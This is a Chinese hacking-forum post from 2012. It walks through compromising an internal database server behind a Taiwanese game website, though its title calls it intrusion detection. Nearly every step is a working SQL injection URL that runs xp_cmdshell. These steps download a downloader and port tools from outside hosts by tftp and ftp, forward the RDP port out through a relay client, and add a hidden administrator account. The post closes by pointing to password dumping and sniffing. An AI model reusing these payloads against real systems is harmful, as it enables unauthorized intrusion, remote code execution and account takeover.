内网数据库服务器入侵检测

[复制链接]
查看305 | 回复0 | 2012-4-1 19:22:30 | 显示全部楼层 |阅读模式
前言:对付在内网而且对外不的服务器,除了反弹端口得到一个shell外,没别的好办法,Doallincmd,太麻烦,不方便我们进一步渗透内网,以下通过一个站点说明我的办法。



目标:http://www.yunsec.net(仅用本站网址代替目标网址,实则并非本站),台湾最大的游戏综合网站,前期,web存在注入点,和数据库服务器不是同一个机器。服务器的是sql的sa权限,用nbsi2看过,是在内网,而且数据库服务器对外不开端口,web服务器只开80端口映射,我们来看看数据库服务器能不能上网。


http://xx..tw/news-game.asp?ch_id=001&newsid=2215‘createtable[xl],[xl2][varchar])—



http://xx..tw/news-game.asp?ch_id=001&newsid=2215‘insertintoxlexec%20master.dbo.xp_cmdshell%20‘ping163.com‘--



然后爆出xl1的内容,恩,这个内网的机器可以上网,一切都是这么幸运。开始传一个可以下载东西的程序过去先。是winegg的down.exe



http://xx..tw/news-game.asp?ch_id=001&newsid=2215insert%20into%20xlexec%20master.dbo.xp_cmdshell%20‘tftp-I211.78.39.64getdown.exe‘--



用xp_dirtree看看,system32下没这个文件,xl1里边也显示超时不成功,换个tftp服务器测试,还是不成功,只有用ftp了:


http://www.yunsec.net/news-game.asp?ch_id=001&newsid=2215‘exec%20master.dbo.xp_cmdshell%20‘echoopen211.78.39.64>345.txt‘--



http://www.yunsec.net/news-game.asp?ch_id=001&newsid=2215‘exec%20master.dbo.xp_cmdshell%20‘echoxxxx>>345.txt‘--



http://www.yunsec.net/news-game.asp?ch_id=001&newsid=2215‘exec%20master.dbo.xp_cmdshell%20‘echoxxxx>>345.txt‘--



http://www.yunsec.net/news-game.asp?ch_id=001&newsid=2215‘exec%20master.dbo.xp_cmdshell%20‘echogetdown.exe>>345.txt‘--



http://www.yunsec.net/news-game.asp?ch_id=001&newsid=2215‘exec%20master.dbo.xp_cmdshell%20‘echoqui>>345.txt‘--



http://www.yunsec.net/news-game.asp?ch_id=001&newsid=2215‘exec%20master.dbo.xp_cmdshell%20‘ftp-s:345.txt‘--



ok,成功。然后可以下载东西了,先下载个卡端口的fprt.exe,查看xl1,发现成功,看看他开了什么端口。




http://www.yunsec.net/news-game.asp?ch_id=001&newsid=2215‘%20insert%20into%20xl%20exec%20master.dbo.xp_cmdshell%20‘down.exe%20http://666w.com/tools/foprt.exe‘--



http://www.yunsec.net/news-game.asp?ch_id=001&newsid=2215‘%20insert%20into%20xl%20exec%20master.dbo.xp_cmdshell%20‘fport‘--
开了3389,但是显然没对外网映射,怎么办呢?我们要把他映射出来,找到了yyc写的vIDC软件,这个软件分客户端和,服务器端idc.exe在肉鸡运行,使用默认8080端口,直接在肉鸡运行就ok。客户端vIDCc.exe、vIDCc.DLL,是图形界面的,不能用,我来修改一下,加个ini文件,让他按ini文件里的自动连接绑定端口,ok,用down.exe下载到入侵的服务器,运行就已经绑定了3389了,在入侵的机器上添加管理员:


idcc.exe">http://www.yunsec.net/news-game.asp?ch_id=001&newsid=2215‘execmaster.dbo.xp_cmdshell‘vidcc.exe‘--



http://www.yunsec.net/news-game.asp?ch_id=001&newsid=2215‘execmaster.dbo.xp_cmdshell‘netuserxiaoluluaixue/add‘--



http://www.yunsec.net/news-game.asp?ch_id=001&newsid=2215‘execmaster.dbo.xp_cmdshell‘netlocalgroupadministratorsxiaolu/add‘--



Ok登陆,



进去后,看了看web服务器开了几乎所有能开的端口包括139,然后,findpass,sniffer,等等,就看你的了。

 
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则